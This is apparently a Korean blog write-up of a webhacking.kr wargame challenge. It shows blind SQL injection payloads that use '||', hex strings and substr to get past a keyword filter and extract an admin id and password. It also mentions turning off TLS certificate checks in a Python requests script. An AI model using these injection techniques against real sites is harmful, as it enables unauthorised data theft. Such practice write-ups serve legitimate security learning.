no와id, pw를 넣을수 있는 입력창이 있고
https://webhacking.kr/challenge/web-29/?no=0&id=guest&pw=guest
1,guest,guest일때만 로그인 성공페이지로 들어간다. Susses
2||1=0# fail
2||1=1# 일때 반응이 다르다. Sussess
제한
띄워쓰기,select,or,limit,char,ascii
되는거
%,||,&&,#,-,+,where,union,(,), ' , ",0x,substr
일단 id부터 찾아보자
2||length(id)=1...를 통해 길이를 찾고
2||substr(id,1,1))=0x1....를 통해 찾았다.(ascii가 막혀서 16진수로 우회)
id를 찾을때는 참일경우 admin password를 입력하는 창이 나온다.
id=ADMIN이 나온다.(다음부터는 admin 먼저 해보고 시작해야겟다.)
바로 접근해보자 2||id=admin 실패가 뜬다.
다른 방법으로도 접근해보자.
https://ko.wikipedia.org/wiki/ASCII
이표를 참조해 16진수로 admin을 만들고 접근
2||id=0x61646D696E
이런식으로 접근하면 admin password를 입력하는 창이 나온다. 비밀번호를 결국 알아야한다.
sql injection이 되는 이전 페이지로 돌아가서 다시 pw를 찾아보자
?no=2||length(pw)=1 이런식으로 쿼리를 만들고 pw의 길이를 찾고
?no=2||substr(pw)=0x.. pw도 이런식으로 찾아보자
admin password창이 있는곳으로 이동한다면 참이다.
##########################################
시도하는 도중 ssl인증 오류가 생겻다.ㅠ 여러방법을 시도해봤지만
res=requests.get(geturl,cookies=cookies,verify=False)
verify=false라는 옵션을 추가해주었더니 동작은 했다. 오류창이 계속 뜨는데 코드에
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
를 추가해 주어 무시하게 해주었다. 사이트의 인증서가 만료되어서 그런거 같다.
#############################################
밑의 코드를 돌려보면 pw또한 구할수있다.
얻은 pw는 2||id=0x61646D696E 1차접근한후 pw를 입력해주자.
그런데 또 답이이상하다.
pw:LCK_ADMIN 9자리밖에 나오지 않는다.
두번째 단어는 guest의 u와 겹쳐서 guest 로그인 메세지가 떠서 그런것이라고 한다...
'보안 > webhacking' 카테고리의 다른 글
webhacking.kr old-42 (0) | 2019.12.05 |
---|---|
webhacking.kr old-41 (0) | 2019.12.05 |
webhacking.kr old-39 (0) | 2019.12.02 |
webhacking.kr old-38 (0) | 2019.12.02 |
webhacking.kr old-36 (0) | 2019.12.01 |
최근댓글